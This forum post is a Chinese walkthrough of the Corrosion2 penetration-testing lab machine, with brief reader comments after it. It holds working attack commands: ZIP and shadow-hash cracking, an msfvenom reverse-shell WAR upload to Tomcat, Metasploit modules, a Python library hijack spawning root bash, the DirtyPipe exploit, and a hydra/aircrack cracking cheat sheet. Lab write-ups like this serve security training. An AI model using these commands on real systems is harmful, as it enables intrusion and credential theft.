筒濂 发表于 2026-1-20 16:45:05

Corrosion2靶机

0x01信息收集

1.1 nmap扫描端口

nmap -A -p- -v 192.168.222.134
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767838377647-6d3c9cb4-57cb-47ee-b40c-7a424545c7f0.png
22/tcp   openssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)|   256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)|_256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)80/tcp   openhttp    Apache httpd 2.4.41 ((Ubuntu))|_http-title: Apache2 Ubuntu Default Page: It works|_http-server-header: Apache/2.4.41 (Ubuntu)| http-methods:|_Supported Methods: POST OPTIONS HEAD GET8080/tcp openhttp    Apache Tomcat 9.0.53|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/9.0.53| http-methods:|_Supported Methods: GET HEAD POST OPTIONSDevice type: general purposeRunning: Linux 4.X|5.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5OS details: Linux 4.15 - 5.19Uptime guess: 26.829 days (since Fri Dec 12 14:17:12 2025)Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=264 (Good luck!)IP ID Sequence Generation: All zeros开放端口:80、8080、22
主机操作系统及其服务:Ubuntu、Apache Tomcat、OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
1.2web及其目录扫描

开放了80、8080端口分别访问
80端口
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767838755910-70b66c83-7e85-45d7-b4cc-f457a1f030ee.png
网页没可用的,扫一下目录
dirsearch -u (http://192.168.222.134/) -x 401,404,403
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767838945476-65861ad6-84ee-4493-89ab-a50eb77f6f3e.png
扫出来没有啥可用的信息
8080端口
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767839239103-2de01363-9f42-4b8b-8a69-5900b70fa49c.png
tomcat主页版本为9.0.53;扫一下目录
dirsearch -u http://192.168.222.134:8080 -x 401,404,403或者ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u (http://192.168.1.9:8080/FUZZ)
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767839464572-dfc3a25d-2e2a-4d2c-a7db-51cd095d2dd0.png
200 -   33KB - /backup.zip 302 -    0B- /docs->/docs/ 200 -   15KB - /docs/ 302 -    0B- /examples->/examples/ 200 -    1KB - /examples/ 200 -    1KB - /examples/websocket/index.xhtml 200 -   14KB - /examples/jsp/index.html 200 -    6KB - /examples/servlets/index.html 200 -    1KB - /examples/servlets/servlet/RequestHeaderExample 200 -658B- /examples/servlets/servlet/CookieExample 200 -687B- /examples/jsp/snp/snoop.jsp 200 -   21KB - /favicon.ico 302 -    0B- /manager->/manager/ 302 -    0B- /manager/->/manager/html 200 -153B- /readme.txt1.3账号尝试,目录详细信息收集

查看目录里面扫描出来的东西
backup.zip,需要密码解压
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767839601898-675f2de0-bfac-4f99-a2d7-c5b188f6d2de.png
爆破:爆破工具可多选fcrackzip、john
john:. 基本功能
哈希爆破:破解存储为哈希值的密码(如 Linux shadow 文件、Windows NTLM 哈希、MySQL 密码哈希等)。
字典攻击:基于字典文件尝试密码组合。
暴力破解:生成所有可能的字符组合(如 a-z、0-9、特殊字符)进行尝试。
规则破解:通过自定义规则(如大写首字母、加数字后缀)扩展字典,提高破解效率。
支持的哈希类型
哈希类型 / 场景对应文件 / 格式示例John 识别方式Linux 系统密码/etc/shadow 文件(格式:**用户名:$id$salt$hash**)自动识别(**$1$**** 为 MD5,**$6$** 为 SHA-512)**Windows NTLM 哈希格式:**LM:NTLM**(示例:**aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99**)**指定 ****--format=nt**MySQL 密码哈希格式:***hash**(示例:***A4B6157319038724E3566C818872E067**)**指定 ****--format=mysql-sha1**ZIP 压缩包密码压缩包文件(需先用 **zip2john** 提取哈希)通过 **zip2john** 生成的哈希文件自动识别RAR 压缩包密码压缩包文件(需先用 **rar2john** 提取哈希)通过 **rar2john** 生成的哈希文件自动识别SSH 私钥密码id_rsa 等私钥文件(需先用 **ssh2john** 提取哈希)通过 **ssh2john** 生成的哈希文件自动识别补充说明与调整:

[*]Windows NTLM 哈希:实际常见的格式为 LM:NTLM,示例中已保留冒号分隔,John 需使用 --format=nt。
[*]MySQL 密码哈希:示例格式为 *hash,实际是 mysql_native_password 使用的 SHA1 双重哈希,John 中应使用 --format=mysql-sha1。
[*]ZIP/RAR 区分:zip2john 与 rar2john 为不同工具,建议分开列出。
[*]SSH 私钥:通常使用 ssh2john(属于 John the Ripper 工具集)提取哈希后再进行破解。
fcrackzip:**Fcrackzip**是一款专门破解**zip**类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于**linux、mac osx** 系统
安装:sudo apt-get install fcrackzip
安装字典:rockyou.txt;
在 Kali Linux 中,使用 rockyou.txt 破解加密代码或密码的步骤取决于加密方式(如 ZIP、RAR、HASH、SSH、FTP 等)
好的,这是一个以表格形式整理的,在 Kali Linux 中使用 **rockyou.txt** 破解不同类型加密/保护的通用步骤。表格清晰地展示了不同场景下的工具、命令和核心思路。
Kali Linux 中使用 rockyou.txt 进行密码破解
攻击目标 (加密/保护方式)核心工具关键准备步骤 (在运行攻击命令前)典型攻击命令示例核心思路与说明ZIP 压缩包fcrackzip确保目标 ZIP 文件在本机。rockyou.txt 默认路径:/usr/share/wordlists/rockyou.txtfcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u target.zip-D 指定字典模式,-p 指定字典路径,-u 验证密码。暴力破解耗时较长,字典攻击效率更高。RAR 压缩包rarcrack 或 john1. 使用 rarcrack: 安装 rarcrack (sudo apt install rarcrack)。   2. 使用 John: 需先用 rar2john 提取哈希。1. rarcrack: rarcrack --type rar target.rar   2. john:    rar2john target.rar > rar_hash.txt   john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txtrarcrack 支持自动猜测类型(XML文件记录进度)。John 的方式更通用,先提取哈希,再对哈希进行破解。密码哈希 (如 /etc/shadow 中的 Hash)john 或 hashcat1. 获取哈希: 需要将 /etc/shadow 与 /etc/passwd 合并或直接获得哈希串。   2. 识别哈希类型: 使用 hashid 或 john --list=formats 识别。以 John 破解 MD5 为例:   john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_file.txt   以 hashcat 破解 SHA256 为例:   hashcat -m 1400 -a 0 hash_file.txt /usr/share/wordlists/rockyou.txt最常用场景。关键在于正确识别哈希类型(-m 或 --format)。hashcat 性能更强,支持 GPU。破解成功率高度依赖字典质量。SSH 服务登录hydra 或 medusa确认目标主机 SSH 服务(22端口)开放,且允许密码认证。hydra -l-P /usr/share/wordlists/rockyou.txtssh   或指定用户列表:   hydra -L user_list.txt -P /usr/share/wordlists/rockyou.txt ssh://网络协议爆破。-l 指定单个用户,-L 指定用户字典。注意:频繁尝试可能触发锁定或记录日志。FTP 服务登录hydra确认目标主机 FTP 服务(21端口)开放。hydra -l-P /usr/share/wordlists/rockyou.txt ftp://   或匿名测试:   hydra -l anonymous -P ‘’ ftp://思路同 SSH。通常先尝试 anonymous 匿名登录。HTTP 表单登录 (如 Web 后台)hydra1. 分析登录请求(用 Burp Suite 抓包)。   2. 确定登录 URL、用户名/密码参数名、失败响应特征。hydra -l admin -P /usr/share/wordlists/rockyou.txthttp-post-form "/login.php:user=^USER^&pass=^PASS^:F=登录失败"POST 数据包爆破。语法复杂但灵活。^USER^ 和 ^PASS^ 是占位符,F=... 指定失败字符串。成功率取决于请求构造的准确性。WordPress 后台wpscan确认目标为 WordPress 站点。wpscan --url http:// --passwords /usr/share/wordlists/rockyou.txt --usernames admin专门针对 WordPress 的工具,比通用 HTTP 爆破更智能,能枚举用户名并规避部分锁定机制。Wi-Fi WPA/WPA2 握手包aircrack-ng1. 已通过 airodump-ng 捕获到包含四步握手的 .cap 文件。   2. 确认握手包有效(aircrack-ng 能识别)。aircrack-ng -w /usr/share/wordlists/rockyou.txt capture_file.cap离线破解无线密码。核心是捕获到用户连接时的握手包。破解速度取决于密码在字典中的位置及硬件算力。加密的 PDF 文件john 或 pdfcrack使用 pdf2john 或 pdfcrack 提取或直接破解。使用 John:   pdf2john target.pdf > pdf_hash.txt   john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt   使用 pdfcrack:   pdfcrack -f target.pdf -w /usr/share/wordlists/rockyou.txt思路与 RAR 类似,先提取密码哈希(如果支持),再用字典攻击。字典路径: rockyou.txt 默认位于 /usr/share/wordlists/。首次使用可能需要解压:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz爆破:
┌──(root㉿xiao)-└─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zipPASSWORD FOUND!!!!: pw == @administrator_hi5得到密码:@administrator_hi5
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767840515850-f1235a74-7eea-49a5-b887-170449b7c94b.png
解压查看解压出来的内容:
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767840578959-7f6785d8-85b1-4677-b602-ab5675acc354.png
在tomcat-user.xml文件中发现两个账户和密码
账号1:manager melehifokivai
账号2:admin melehifokivai
账号登录
测试解压得到的账号密码
admin和manager账户都能登录成功
http://192.168.222.134:8080/manager/html
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767840894776-7a0986dc-ade3-4785-8e77-a35781f0265f.png
发现文件上传,可上传文件为WAR文件
访问http://192.168.222.134:8080/readme.txt
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767841873877-cea13c4e-60ed-4e79-8b33-c75c05dc2b80.png
得到信息有一个加密文件猜测是backup.zip,猜测管理员为randy,
0x02漏洞利用

2.1toncat中war文件上传-shell

msf生成JSP 反向 Shell 的 WAR 文件
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.222.137" LPORT=8888 -f war > shell.warhttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1768298973138-a6d047cf-fa8e-4324-a965-7454625b213a.png
上传
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768299005190-63e670bc-10ff-40ee-a505-597111589c12.png
反弹shell
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768299028082-c119a58c-a87b-4310-9efa-adc162f66a48.png
GetShell之后,通过一段python代码创建要给交互式终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768299297993-388f1683-17d1-41a5-a67d-c0bd5193a25c.png
# 查询具备suid标志的文件find / -perm -u=s -type f 2>>/dev/null# 查询当前用户是否有可利用sudo提权的命令sudo -l# 查看备份文件find / -name "*backup*" 2>>/dev/null查看home目录下面有两个用户:jayerandy
结合之前的账号密码来密码猜测:
得到:jaye melehifokivai
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768300529905-de5d14bc-0e9c-44cc-9d2d-4bcf17e4f845.png
war文件上传:
WAR(Web Application Archive) 是 Java Web 应用程序的标准打包格式,专为部署到 Servlet 容器(如 Tomcat、Jetty)而设计。它本质上是一个压缩文件(扩展名为 .war),遵循特定的目录结构,包含 Web 应用的所有代码、资源及配置。
一般情况利用思路:
jsp马转换为war包上传
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767861822414-ded9f771-cd70-4a24-9d87-89814e4b38be.png
2.2 msf漏洞利用-shell

msf 有Tomcat 上传webshell的模块,有用户名和密码就可以使用:
search tomcat uploaduse 7show optionshttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1767847629830-5bfe712d-d3c4-4308-951e-91ce56938d85.png
查看需要设置的参数
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767847669431-ba4df25a-d852-458b-8bb2-5a6692fab9b9.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848191317-43a10ac8-f784-4c8f-83d5-eb2640f729fa.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848225249-ef26df62-a3ce-48d8-9bb3-3c3dea3892ae.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848242089-b16d2c47-3abe-4290-a029-dfb464358552.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848253798-06b751ac-015c-4380-af43-529e6c93a457.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848596168-2fc1bbc6-8597-475a-9ea9-485327445731.png
查看user.txt得到第一个flag
home目录下有两个文件夹,加上之前readme.txt出来的猜测可能有两个用户,jaye和randy
之前扫描端口的时候发现22端口开放链接
利用之前压缩包文件中得到的密码ssh一下这两个账户,jaye登录成功
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848497149-7dbcf576-9ce7-47c2-852e-40492d925636.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767848619500-c4b7c805-350c-41dc-b6ca-4d7fd3351d35.png
登录进来之后查找能利用的东西,先看看有些啥,,
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767849098656-118fa5a4-a6ac-44bc-91d1-0a5c3d6de862.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767849163723-f3c0f89f-1b83-41a5-9171-857cecff071c.png
找到一个可执行文件look,是系统的look
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767849251300-4e6e6ffc-3fed-42e4-aa90-4edeaea62133.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767849316970-058bd5f2-6df7-43e5-a15b-f20304385091.png
look可以越权访问,查看/etc/shadow
look越权命令使用方法:https://gtfobins.github.io/gtfobins/look/
LFILE=file_to_read./look '' "$LFILE"https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767852700836-c03d0b5f-941e-4693-ad5b-915f40692179.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767852711349-e7d362bb-b5fa-40ab-8ded-a88731ffad65.png
把 /etc/shadow 文件和passwd文件复制下来,,保存到本地。/etc/passwd 文件可以在msf控制台获取,也可以用上述方式获取,使用 unshadow 命令生成需要破解的密码,我们只用爆破root的和rand就行了:
unshadow passwd ushadow > pass.txt用john破解一下,:
john --wordlist=/usr/share/wordlists/rockyou.txt shadowhttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1767856185003-928062a7-c19a-41ae-8f39-75caa0ca1217.png
爆破得到:randy:07051986randy
登录randy
在根目录下发现一个python可执行 脚本
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767857029281-ef4ba5b6-d896-4cd3-a25b-7cb5f4d57a4c.png
2.3提权-文件

看一下权限,发现这个python文件不能修改
看看可以干一些什么
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767858343998-deb9e511-fc73-4e88-a2c9-a1e0adcc4385.png
但是在代码中引入了一个base64模块
看看这个文件在python3.8目录下
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767858240847-acdc523c-4639-488c-9e46-8e4de021ae4b.png
查看一下权限
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767858360245-61c74e0b-e0d3-4491-9ae3-0011ca29dd54.png
可以编辑,写入shell
import osos.system("/bin/bash")https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767860492323-7b06b3b3-5d88-45fc-b1c2-c856b3be623b.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767858778389-d04b98f1-7d28-48e9-a155-a9476a5c0690.png
执行脚本
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767860567499-1dd3e58b-77b6-4435-869d-bc7ed67797bb.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767860580515-e2ea5737-c24a-40f1-a295-a7a12e457739.png
2.4提权-内核漏洞

可用操作系统版本内核漏洞提权
msf漏洞利用
search tomcat uploaduse 7optionshttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1768397978392-13dde72c-191d-41c4-8872-1c7753ceb9d8.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398030818-436e42b8-0a3a-45b5-9a25-b2c9a42c9868.png
设置参数开始利用
msf exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.222.135rhosts => 192.168.222.135msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080rport => 8080msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername adminHttpUsername => adminmsf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword melehifokivaiHttpPassword => melehifokivaimsf exploit(multi/http/tomcat_mgr_upload) > optionsmsf exploit(multi/http/tomcat_mgr_upload) > runhttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398081653-71bade4e-c0d2-45a8-9c30-5e1a059f7a3c.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398170110-9c526eeb-edb1-41c0-b5b9-316eff262666.png
后台运行 session
升级 Java Meterpreter → 原生 Linux Meterpreter
backgroundsessions -u 1把 session 1(Java Meterpreter)升级成真正的 Linux x86 Meterpreter(session 2)
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398401444-52a916e1-31f3-44d7-aa84-a6092074f627.png
查看
sessions lhttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398485753-8ed545b3-d3ca-4770-aa59-a76e1ecddf98.png
查看 DirtyPipe 提权模块 ,根据Linux 内核版本我们尝试利用的是cve-2022-0847
search cve-2022-0847use exploit/linux/local/cve_2022_0847_dirtypipe或者use 0https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398537111-cb27b496-d3ff-414a-a7f6-fb46f493a3ca.png
设置参数
set session 2 #设置使用的会话set lhost 192.168.222.137 #设置接收的IPrunhttps://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398723499-a7fa7fcb-9658-4edb-8ef7-a2a7da7c498d.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398752106-102483b7-6610-4e75-87e6-d27b586c26fb.png
https://gitee.com/there-is-a-large-box/image/raw/master/issue/1768398839025-bc36ab9e-6a92-4a08-b340-4c3d2b4e0262.png

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

毋献仪 发表于 2026-1-30 15:00:28

东西不错很实用谢谢分享

里豳朝 发表于 2026-2-1 05:37:12

懂技术并乐意极积无私分享的人越来越少。珍惜

仄谦 发表于 2026-2-2 04:58:29

谢谢分享,辛苦了

喳谍 发表于 2026-2-5 08:56:23

用心讨论,共获提升!

瘴锲如 发表于 2026-2-7 07:11:13

喜欢鼓捣这些软件,现在用得少,谢谢分享!

窟聿湎 发表于 2026-2-8 09:25:22

这个有用。

嫁吱裨 发表于 2026-2-9 07:37:41

这个好,看起来很实用

汇干环 发表于 2026-2-9 08:17:26

感谢分享

颓哀 发表于 2026-2-9 10:41:41

热心回复!

嶝扁 发表于 2026-2-9 13:39:21

前排留名,哈哈哈

客臂渐 发表于 2026-2-11 16:10:14

感谢分享,下载保存了,貌似很强大

喳谍 发表于 2026-2-12 12:16:10

收藏一下   不知道什么时候能用到

铜坠匍 发表于 2026-2-12 18:53:54

收藏一下   不知道什么时候能用到

剩鹄逅 发表于 2026-2-12 19:52:19

东西不错很实用谢谢分享

怒鼓踊 发表于 2026-2-14 01:05:09

东西不错很实用谢谢分享

辅箱肇 发表于 2026-2-24 15:11:02

喜欢鼓捣这些软件,现在用得少,谢谢分享!

秦欣艷 发表于 2026-2-27 05:13:36

这个好,看起来很实用

皇甫佳文 发表于 2026-3-12 04:31:08

收藏一下   不知道什么时候能用到
页: [1]
查看完整版本: Corrosion2靶机